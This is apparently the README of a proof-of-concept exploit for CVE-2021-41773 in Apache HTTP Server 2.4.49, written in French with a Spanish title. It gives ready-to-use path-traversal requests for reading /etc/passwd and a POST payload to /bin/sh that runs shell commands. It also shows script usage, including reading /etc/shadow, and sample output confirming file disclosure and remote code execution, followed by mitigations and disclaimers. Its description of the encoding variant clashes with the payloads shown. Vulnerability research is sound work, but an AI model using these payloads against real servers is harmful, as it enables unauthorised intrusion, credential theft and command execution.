
Prueba de concepto de CVE-2021-41773
Réservé à une utilisation dans des environnements contrôlés et personnels. Ne pas utiliser contre des systèmes sans autorisation.
PoC développée pour démontrer et comprendre la vulnérabilité CVE-2021-41773, présente dans Apache HTTP Server 2.4.49.
Le défaut réside dans la fonction ap_normalize_path(), qui ne validait pas correctement les caractères encodés dans l'URL. Cela permettait à un attaquant de sortir du DocumentRoot via une séquence de caractères encodés (%2e%2e%2f au lieu de ../), lisant des fichiers arbitraires du système.
Lorsque le module mod_cgi était activé, la vulnérabilité escaladait vers RCE (Remote Code Execution), permettant d'exécuter des commandes directement sur le serveur avec les permissions du processus Apache.
Le serveur doit remplir toutes ces conditions pour être vulnérable :
| Condition | Détail |
|---|---|
| Version d'Apache | Exactement 2.4.49 |
| Directive d'accès | Require all granted dans la configuration |
| Module CGI | mod_cgi activé (uniquement pour RCE) |
Apache 2.4.49 filtrait le classique ../ mais pas sa version encodée dans l'URL. L'attaquant construit un chemin que le filtre ne détecte pas, mais que le système d'exploitation interprète correctement :
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f est l'encodage URL de ../. Apache le laissait passer, l'OS le résolvait, et le résultat était l'accès à des fichiers en dehors du répertoire web.
Avec mod_cgi activé, le path traversal est utilisé pour pointer vers /bin/sh au lieu d'un fichier. Apache le traite comme un script CGI et l'exécute. La commande voyage dans le body du POST sous forme d'un script shell minimal :
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
Le résultat de la commande arrive dans la réponse HTTP.
La manière la plus propre de reproduire la vulnérabilité est avec Docker :
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
Ou avec une image manuelle d'Apache 2.4.49 avec la configuration vulnérable :
<Directory />
Require all granted
</Directory>
Je vais laisser les fichiers de configuration que j'ai utilisés pour le test.
Pourquoi 'urllib3' et non 'requests' ?
requests ré-encode automatiquement les caractères du chemin avant de les envoyer.
Cela casse la payload car le serveur reçoit %252e au lieu de %2e.
urllib3 permet d'envoyer le chemin sans modifications.
Pourquoi .%2e/ et non %2e%2e/ ?
Apache filtre %2e%2e/ dans le module mod_rewrite.
La variante .%2e/ est sémantiquement équivalente mais passe le filtre,
car la normalisation du chemin a lieu après la validation.
mod_cgi doit être activé pour que le mode RCE fonctionne.
Sans lui, seul le path traversal est possible.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# Lire /etc/passwd du serveur
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Exécuter la commande 'id'
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
# Exécuter une commande avec des espaces
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC à des fins éducatives — Uniquement dans des environnements personnels
=======================================================
[+] Mode: Path traversal
[+] Cible: http://localhost:8080
[+] URL construite: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Envoi de la requête...
Serveur vulnérable, Code de statut: 200
=== Contenu de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Mode: RCE via mod_cgi
[+] Cible: http://localhost:8080
[+] Commande: id
[+] Envoi de la requête...
[+] RCE confirmé
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 ou supérieure.Require all denied comme valeur par défaut.mod_cgi si ce n'est pas strictement nécessaire.⚠️ Ce dépôt est uniquement à des fins éducatives.
L'utilisation de cet exploit contre des systèmes sans autorisation expresse est illégale.
Testé exclusivement dans des environnements locaux contrôlés.
PoC développée à des fins éducatives pour portfolio de sécurité offensive.
| Argument | Requis | Description |
|---|
--target | Oui | URL de base du serveur (ex: http://localhost:8080) |
--mode | Oui | traversal pour lire des fichiers, rce pour exécuter des commandes |
--cmd | Non | Commande à exécuter en mode rce (par défaut: id) |